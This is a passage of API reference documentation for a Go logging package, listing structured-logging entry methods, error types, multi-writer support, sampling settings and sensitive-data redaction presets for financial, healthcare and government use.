func (*Logger) Warnf

func (l *Logger) Warnf(format string, args ...any)

func (*Logger) WarnfCtx added in v1.2.0

func (l *Logger) WarnfCtx(ctx context.Context, format string, args ...any)

func (*Logger) WithField added in v1.2.0

func (l *Logger) WithField(key string, value any) *LoggerEntry

WithField returns a LoggerEntry with a single pre-set field. This is a convenience method equivalent to WithFields with a single field.

Example:

entry := logger.WithField("request_id", "abc123")

func (*Logger) WithFields added in v1.2.0

func (l *Logger) WithFields(fields ...Field) *LoggerEntry

WithFields returns a LoggerEntry with pre-set fields. The fields are inherited by all logging calls on the returned entry.

Example:

entry := logger.WithFields(dd.String("service", "api"), dd.String("version", "1.0"))
entry.Info("request received") // Contains service and version fields
entry.WithFields(dd.String("user", "john")).Info("user action") // Contains all three fields

func (*Logger) WriterCount added in v1.2.0

func (l *Logger) WriterCount() int

WriterCount returns the number of registered writers (thread-safe).

type LoggerEntry added in v1.2.0

type LoggerEntry struct {
	// contains filtered or unexported fields
}

LoggerEntry represents a logger with pre-set fields. Fields are inherited and merged with additional fields passed to logging methods. LoggerEntry is immutable - each WithFields call returns a new entry.

func WithField added in v1.2.0

func WithField(key string, value any) *LoggerEntry

WithField returns a LoggerEntry with a single pre-set field using the default logger.

Example:

dd.WithField("request_id", "abc123").Info("processing request")

func WithFields added in v1.2.0

func WithFields(fields ...Field) *LoggerEntry

WithFields returns a LoggerEntry with pre-set fields using the default logger. The fields are inherited by all logging calls on the returned entry.

Example:

dd.WithFields(dd.String("service", "api"), dd.String("version", "1.0")).
    Info("request received")

func (*LoggerEntry) Debug added in v1.2.0

func (e *LoggerEntry) Debug(args ...any)

func (*LoggerEntry) DebugCtx added in v1.2.0

func (e *LoggerEntry) DebugCtx(ctx context.Context, args ...any)

func (*LoggerEntry) DebugWith added in v1.2.0

func (e *LoggerEntry) DebugWith(msg string, fields ...Field)

func (*LoggerEntry) DebugWithCtx added in v1.2.0

func (e *LoggerEntry) DebugWithCtx(ctx context.Context, msg string, fields ...Field)

func (*LoggerEntry) Debugf added in v1.2.0

func (e *LoggerEntry) Debugf(format string, args ...any)

func (*LoggerEntry) DebugfCtx added in v1.2.0

func (e *LoggerEntry) DebugfCtx(ctx context.Context, format string, args ...any)

func (*LoggerEntry) Error added in v1.2.0

func (e *LoggerEntry) Error(args ...any)

func (*LoggerEntry) ErrorCtx added in v1.2.0

func (e *LoggerEntry) ErrorCtx(ctx context.Context, args ...any)

func (*LoggerEntry) ErrorWith added in v1.2.0

func (e *LoggerEntry) ErrorWith(msg string, fields ...Field)

func (*LoggerEntry) ErrorWithCtx added in v1.2.0

func (e *LoggerEntry) ErrorWithCtx(ctx context.Context, msg string, fields ...Field)

func (*LoggerEntry) Errorf added in v1.2.0

func (e *LoggerEntry) Errorf(format string, args ...any)

func (*LoggerEntry) ErrorfCtx added in v1.2.0

func (e *LoggerEntry) ErrorfCtx(ctx context.Context, format string, args ...any)

func (*LoggerEntry) Fatal added in v1.2.0

func (e *LoggerEntry) Fatal(args ...any)

func (*LoggerEntry) FatalCtx added in v1.2.0

func (e *LoggerEntry) FatalCtx(ctx context.Context, args ...any)

func (*LoggerEntry) FatalWith added in v1.2.0

func (e *LoggerEntry) FatalWith(msg string, fields ...Field)

func (*LoggerEntry) FatalWithCtx added in v1.2.0

func (e *LoggerEntry) FatalWithCtx(ctx context.Context, msg string, fields ...Field)

func (*LoggerEntry) Fatalf added in v1.2.0

func (e *LoggerEntry) Fatalf(format string, args ...any)

func (*LoggerEntry) FatalfCtx added in v1.2.0

func (e *LoggerEntry) FatalfCtx(ctx context.Context, format string, args ...any)

func (*LoggerEntry) Info added in v1.2.0

func (e *LoggerEntry) Info(args ...any)

func (*LoggerEntry) InfoCtx added in v1.2.0

func (e *LoggerEntry) InfoCtx(ctx context.Context, args ...any)

func (*LoggerEntry) InfoWith added in v1.2.0

func (e *LoggerEntry) InfoWith(msg string, fields ...Field)

func (*LoggerEntry) InfoWithCtx added in v1.2.0

func (e *LoggerEntry) InfoWithCtx(ctx context.Context, msg string, fields ...Field)

func (*LoggerEntry) Infof added in v1.2.0

func (e *LoggerEntry) Infof(format string, args ...any)

func (*LoggerEntry) InfofCtx added in v1.2.0

func (e *LoggerEntry) InfofCtx(ctx context.Context, format string, args ...any)

func (*LoggerEntry) Log added in v1.2.0

func (e *LoggerEntry) Log(level LogLevel, args ...any)

Log logs a message at the specified level with the entry's fields.

func (*LoggerEntry) LogCtx added in v1.2.0

func (e *LoggerEntry) LogCtx(ctx context.Context, level LogLevel, args ...any)

LogCtx logs a message at the specified level with context and the entry's fields.

func (*LoggerEntry) LogWith added in v1.2.0

func (e *LoggerEntry) LogWith(level LogLevel, msg string, fields ...Field)

LogWith logs a structured message with the entry's fields plus additional fields.

func (*LoggerEntry) LogWithCtx added in v1.2.0

func (e *LoggerEntry) LogWithCtx(ctx context.Context, level LogLevel, msg string, fields ...Field)

LogWithCtx logs a structured message with context, the entry's fields, and additional fields.

func (*LoggerEntry) Logf added in v1.2.0

func (e *LoggerEntry) Logf(level LogLevel, format string, args ...any)

Logf logs a formatted message at the specified level with the entry's fields.

func (*LoggerEntry) LogfCtx added in v1.2.0

func (e *LoggerEntry) LogfCtx(ctx context.Context, level LogLevel, format string, args ...any)

LogfCtx logs a formatted message with context and the entry's fields.

func (*LoggerEntry) Print added in v1.2.1

func (e *LoggerEntry) Print(args ...any)

Print writes to configured writers with caller info and the entry's fields. Uses LevelInfo for filtering. Arguments are joined with spaces.

func (*LoggerEntry) Printf added in v1.2.1

func (e *LoggerEntry) Printf(format string, args ...any)

Printf formats according to a format specifier and writes to configured writers with caller info and the entry's fields. Uses LevelInfo for filtering.

func (*LoggerEntry) Println added in v1.2.1

func (e *LoggerEntry) Println(args ...any)

Println writes to configured writers with caller info and the entry's fields. Uses LevelInfo for filtering. Note: Behaves identically to Print() because Log() already adds a newline.

func (*LoggerEntry) Warn added in v1.2.0

func (e *LoggerEntry) Warn(args ...any)

func (*LoggerEntry) WarnCtx added in v1.2.0

func (e *LoggerEntry) WarnCtx(ctx context.Context, args ...any)

func (*LoggerEntry) WarnWith added in v1.2.0

func (e *LoggerEntry) WarnWith(msg string, fields ...Field)

func (*LoggerEntry) WarnWithCtx added in v1.2.0

func (e *LoggerEntry) WarnWithCtx(ctx context.Context, msg string, fields ...Field)

func (*LoggerEntry) Warnf added in v1.2.0

func (e *LoggerEntry) Warnf(format string, args ...any)

func (*LoggerEntry) WarnfCtx added in v1.2.0

func (e *LoggerEntry) WarnfCtx(ctx context.Context, format string, args ...any)

func (*LoggerEntry) WithField added in v1.2.0

func (e *LoggerEntry) WithField(key string, value any) *LoggerEntry

WithField returns a new LoggerEntry with a single additional field. This is a convenience method equivalent to WithFields with a single field.

Example:

entry := logger.WithField("request_id", "abc123")

func (*LoggerEntry) WithFields added in v1.2.0

func (e *LoggerEntry) WithFields(fields ...Field) *LoggerEntry

WithFields returns a new LoggerEntry with additional fields. Fields are merged with existing fields, with new fields overriding existing ones.

Example:

entry := logger.WithFields(dd.String("service", "api"))
entry2 := entry.WithFields(dd.String("version", "1.0"))
entry2.Info("request received") // Contains both service and version fields

type LoggerError added in v1.2.0

type LoggerError struct {
	Code    string         // Machine-readable error code (e.g., "INVALID_LEVEL")
	Message string         // Human-readable message
	Cause   error          // Underlying error (for wrapping)
	Context map[string]any // Additional context for debugging
}

LoggerError represents a structured error with additional context. It implements error, Unwrap(), and Is() interfaces for fine-grained error matching.

Example usage:

logger, err := dd.New(config)
if err != nil {
    var loggerErr *dd.LoggerError
    if errors.As(err, &loggerErr) {
        fmt.Printf("Error code: %s\n", loggerErr.Code)
        fmt.Printf("Context: %v\n", loggerErr.Context)
    }
    if errors.Is(err, dd.ErrInvalidLevel) {
        // Handle invalid level specifically
    }
}

func NewError added in v1.0.6

func NewError(code, message string) *LoggerError

NewError creates a new LoggerError with the given code and message.

func WrapError added in v1.2.0

func WrapError(code, message string, cause error) *LoggerError

WrapError wraps an existing error with a code and message. If the error is nil, returns nil.

func (*LoggerError) Error added in v1.2.0

func (e *LoggerError) Error() string

Error implements the error interface.

func (*LoggerError) Is added in v1.2.0

func (e *LoggerError) Is(target error) bool

Is enables matching against sentinel errors using errors.Is(). This allows LoggerError instances to match their corresponding sentinel errors.

func (*LoggerError) Unwrap added in v1.2.0

func (e *LoggerError) Unwrap() error

Unwrap returns the underlying cause for use with errors.Is() and errors.As().

func (*LoggerError) WithContext added in v1.2.0

func (e *LoggerError) WithContext(key string, value any) *LoggerError

WithContext adds context to a LoggerError. Returns a new LoggerError with the context added.

func (*LoggerError) WithField added in v1.2.0

func (e *LoggerError) WithField(key string, value any) *LoggerError

WithField adds a field to the LoggerError context. This is an alias for WithContext for naming consistency with Logger.

type MultiWriter

type MultiWriter struct {
	// contains filtered or unexported fields
}

func NewMultiWriter

func NewMultiWriter(writers ...io.Writer) *MultiWriter

func (*MultiWriter) AddWriter

func (mw *MultiWriter) AddWriter(w io.Writer) error

func (*MultiWriter) Close

func (mw *MultiWriter) Close() error

func (*MultiWriter) RemoveWriter

func (mw *MultiWriter) RemoveWriter(w io.Writer) error

func (*MultiWriter) Write

func (mw *MultiWriter) Write(p []byte) (int, error)

type MultiWriterError added in v1.2.0

type MultiWriterError struct {
	Errors []WriterError // Collection of writer errors
}

MultiWriterError collects errors from multiple writers. This is returned by MultiWriter.Write() when one or more writers fail.

func (*MultiWriterError) AddError added in v1.2.0

func (e *MultiWriterError) AddError(index int, writer io.Writer, err error)

AddError adds a writer error to the collection.

func (*MultiWriterError) Error added in v1.2.0

func (e *MultiWriterError) Error() string

Error implements the error interface.

func (*MultiWriterError) ErrorCount added in v1.2.0

func (e *MultiWriterError) ErrorCount() int

ErrorCount returns the number of errors collected.

func (*MultiWriterError) FirstError added in v1.2.0

func (e *MultiWriterError) FirstError() error

FirstError returns the first error that occurred.

func (*MultiWriterError) HasErrors added in v1.2.0

func (e *MultiWriterError) HasErrors() bool

HasErrors returns true if any errors were collected.

func (*MultiWriterError) Unwrap added in v1.2.0

func (e *MultiWriterError) Unwrap() []error

Unwrap returns all underlying errors for use with errors.As(). Note: errors.Is() will check against each wrapped error.

type SamplingConfig added in v1.2.0

type SamplingConfig struct {
	// Enabled controls whether sampling is active.
	Enabled bool
	// Initial is the number of messages that are always logged before sampling begins.
	// This ensures visibility of initial burst traffic.
	Initial int
	// Thereafter is the sampling rate after Initial messages.
	// A value of 10 means log 1 out of every 10 messages.
	Thereafter int
	// Tick is the time interval after which counters are reset.
	// This allows sampling to restart periodically for burst handling.
	Tick time.Duration
}

SamplingConfig configures log sampling for high-throughput scenarios. Sampling reduces log volume by only recording a subset of messages.

func GetSampling added in v1.2.0

func GetSampling() *SamplingConfig

GetSampling returns the sampling configuration for the default logger.

type SecurityConfig

type SecurityConfig struct {
	MaxMessageSize  int
	MaxWriters      int
	SensitiveFilter *SensitiveDataFilter
}

func DefaultSecureConfig added in v1.2.0

func DefaultSecureConfig() *SecurityConfig

DefaultSecureConfig returns a security config with full sensitive data filtering enabled. This includes all patterns from basic filtering plus additional patterns for emails, IP addresses, JWT tokens, and database connection strings. Use this for maximum security in production environments.

func DefaultSecurityConfig

func DefaultSecurityConfig() *SecurityConfig

DefaultSecurityConfig returns a security config with basic sensitive data filtering enabled. This provides out-of-the-box protection for common sensitive data like passwords, API keys, credit cards, and phone numbers.

This is the recommended default for production use. For development environments where performance is critical and data sensitivity is low, consider using SecurityConfigForLevel(SecurityLevelDevelopment) instead.

func FinancialConfig added in v1.2.0

func FinancialConfig() *SecurityConfig

FinancialConfig returns a security config optimized for PCI-DSS compliance. This includes all patterns from DefaultSecureConfig plus financial-specific patterns:

  • SWIFT/BIC codes
  • IBAN (International Bank Account Numbers)
  • CVV/CVC security codes
  • Additional card number formats

Use this configuration for applications in banking, payment processing, fintech, and other financial services environments.

func GovernmentConfig added in v1.2.0

func GovernmentConfig() *SecurityConfig

GovernmentConfig returns a security config optimized for government and public sector. This includes all patterns from DefaultSecureConfig plus government-specific patterns:

  • US Passport numbers
  • US Driver's License numbers
  • US Tax ID / EIN
  • UK National Insurance Numbers
  • Canadian Social Insurance Numbers

Use this configuration for applications in government, public sector, defense, and regulated identity management environments.

func HealthcareConfig added in v1.2.0

func HealthcareConfig() *SecurityConfig

HealthcareConfig returns a security config optimized for HIPAA compliance. This includes all patterns from DefaultSecureConfig plus healthcare-specific patterns:

  • ICD-10 diagnosis codes
  • US National Provider Identifier (NPI)
  • Medical Record Numbers (MRN)
  • Health Insurance Claim Numbers (HICN)

Use this configuration for applications handling Protected Health Information (PHI) in healthcare, medical, and insurance environments.

func SecurityConfigForLevel added in v1.2.0

func SecurityConfigForLevel(level SecurityLevel) *SecurityConfig

SecurityConfigForLevel returns a SecurityConfig configured for the specified security level. This provides a convenient way to configure security based on deployment environment.

func (*SecurityConfig) Clone added in v1.0.8

func (sc *SecurityConfig) Clone() *SecurityConfig

Clone creates a copy of the SecurityConfig.

Deep copy:

  • SensitiveFilter (via SensitiveDataFilter.Clone())

Returns nil if the receiver is nil.

type SecurityLevel added in v1.2.0

type SecurityLevel int

SecurityLevel defines the security level for the logger. Higher levels provide more protection but may impact performance.

const (
	// SecurityLevelDevelopment provides minimal security for development.
	// - No sensitive data filtering
	// - No rate limiting
	// - No audit logging
	// Use only in local development environments.
	SecurityLevelDevelopment SecurityLevel = iota

	// SecurityLevelBasic provides basic security for non-production environments.
	// - Basic sensitive data filtering (passwords, API keys, credit cards)
	// - No rate limiting
	// - No audit logging
	// Suitable for staging and testing environments.
	SecurityLevelBasic

	// SecurityLevelStandard provides standard security for production.
	// - Full sensitive data filtering
	// - Rate limiting enabled
	// - Basic audit logging
	// Recommended for most production deployments.
	SecurityLevelStandard

	// SecurityLevelStrict provides enhanced security for sensitive environments.
	// - Full sensitive data filtering
	// - Strict rate limiting
	// - Full audit logging
	// - Input sanitization
	// Suitable for environments handling PII or financial data.
	SecurityLevelStrict

	// SecurityLevelParanoid provides maximum security for high-risk environments.
	// - Full sensitive data filtering with all patterns
	// - Very strict rate limiting
	// - Complete audit logging
	// - All input validation
	// - Log integrity verification
	// Use for healthcare (HIPAA), financial (PCI-DSS), or government systems.
	SecurityLevelParanoid
)

func (SecurityLevel) String added in v1.2.0

func (l SecurityLevel) String() string

String returns the string representation of the security level.

type SensitiveDataFilter

type SensitiveDataFilter struct {
	// contains filtered or unexported fields
}

func NewBasicSensitiveDataFilter

func NewBasicSensitiveDataFilter() *SensitiveDataFilter

func NewCustomSensitiveDataFilter

func NewCustomSensitiveDataFilter(patterns ...string) (*SensitiveDataFilter, error)

func NewEmptySensitiveDataFilter

func NewEmptySensitiveDataFilter() *SensitiveDataFilter

func NewFullSensitiveDataFilter added in v1.2.0

func NewFullSensitiveDataFilter() *SensitiveDataFilter

NewFullSensitiveDataFilter creates a filter with all built-in sensitive data patterns. This is an alias for NewSensitiveDataFilter() with a clearer name indicating that it includes all available patterns.

func NewSensitiveDataFilter

func NewSensitiveDataFilter() *SensitiveDataFilter

func (*SensitiveDataFilter) ActiveGoroutineCount added in v1.2.0

func (f *SensitiveDataFilter) ActiveGoroutineCount() int32

ActiveGoroutineCount returns the number of currently active filter goroutines. This can be used for monitoring and detecting potential goroutine leaks in high-concurrency scenarios. A consistently high count may indicate that filter operations are timing out frequently.

func (*SensitiveDataFilter) AddPattern

func (f *SensitiveDataFilter) AddPattern(pattern string) error

func (*SensitiveDataFilter) AddPatterns

func (f *SensitiveDataFilter) AddPatterns(patterns ...string) error

func (*SensitiveDataFilter) ClearPatterns

func (f *SensitiveDataFilter) ClearPatterns()

func (*SensitiveDataFilter) Clone

Clone creates a copy of the SensitiveDataFilter.

Shared (immutable):

  • patterns slice pointer (shared for better performance, patterns are immutable after creation)

New instances:

  • semaphore channel (new channel with same capacity)

Returns nil if the receiver is nil.

func (*SensitiveDataFilter) Close added in v1.2.0

func (f *SensitiveDataFilter) Close() bool

Close marks the filter as closed and waits for active goroutines to complete. After calling Close, the Filter method will return input unchanged without spawning new goroutines. This prevents goroutine leaks during shutdown.

IMPORTANT: Always call Close (or WaitForGoroutines) before program exit to ensure all background goroutines complete gracefully.

Returns true if all goroutines completed within the timeout, false otherwise.

func (*SensitiveDataFilter) Disable

func (f *SensitiveDataFilter) Disable()

func (*SensitiveDataFilter) Enable

func (f *SensitiveDataFilter) Enable()

func (*SensitiveDataFilter) Filter

func (f *SensitiveDataFilter) Filter(input string) string

func (*SensitiveDataFilter) FilterFieldValue

func (f *SensitiveDataFilter) FilterFieldValue(key string, value any) any

func (*SensitiveDataFilter) FilterValueRecursive added in v1.2.0

func (f *SensitiveDataFilter) FilterValueRecursive(key string, value any) any

FilterValueRecursive recursively filters sensitive data from nested structures. It processes maps, slices, arrays, and structs to filter sensitive values. Circular references are detected and replaced with "[CIRCULAR_REFERENCE]". Maximum recursion depth is limited to MaxRecursionDepth to prevent stack overflow.

func (*SensitiveDataFilter) GetFilterStats added in v1.2.0

func (f *SensitiveDataFilter) GetFilterStats() FilterStats

GetFilterStats returns current filter statistics for monitoring. This is useful for health checks, metrics collection, and debugging.

Example:

stats := filter.GetFilterStats()
fmt.Printf("Active goroutines: %d\n", stats.ActiveGoroutines)
fmt.Printf("Patterns: %d\n", stats.PatternCount)
fmt.Printf("Enabled: %v\n", stats.Enabled)
fmt.Printf("Total filtered: %d\n", stats.TotalFiltered)
fmt.Printf("Average latency: %v\n", stats.AverageLatency)

func (*SensitiveDataFilter) IsEnabled

func (f *SensitiveDataFilter) IsEnabled() bool

func (*SensitiveDataFilter) PatternCount

func (f *SensitiveDataFilter) PatternCount() int

func (*SensitiveDataFilter) WaitForGoroutines added in v1.2.0

func (f *SensitiveDataFilter) WaitForGoroutines(timeout time.Duration) bool

WaitForGoroutines waits for all active filter goroutines to complete or until the timeout is reached.

IMPORTANT: Call this method before program exit to prevent goroutine leaks. In high-concurrency scenarios with large inputs, filter operations may spawn background goroutines for regex processing. Failing to wait for these goroutines can result in resource leaks and incomplete log filtering.

Recommended usage in shutdown sequence:

// 1. Stop accepting new log messages
// 2. Wait for filter goroutines to complete
logger.WaitForFilterGoroutines(5 * time.Second)
// 3. Close the logger
logger.Close()

Returns true if all goroutines completed, false if timeout was reached.

type WriteErrorHandler added in v1.2.0

type WriteErrorHandler func(writer io.Writer, err error)

type WriterError added in v1.2.0

type WriterError struct {
	Index  int       // Index of the writer in the MultiWriter
	Writer io.Writer // The writer that encountered the error
	Err    error     // The error that occurred
}

WriterError represents an error from a single writer in a MultiWriter.

func (*WriterError) Error added in v1.2.0

func (e *WriterError) Error() string

Error implements the error interface.

func (*WriterError) Unwrap added in v1.2.0

func (e *WriterError) Unwrap() error

Unwrap returns the underlying error.

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL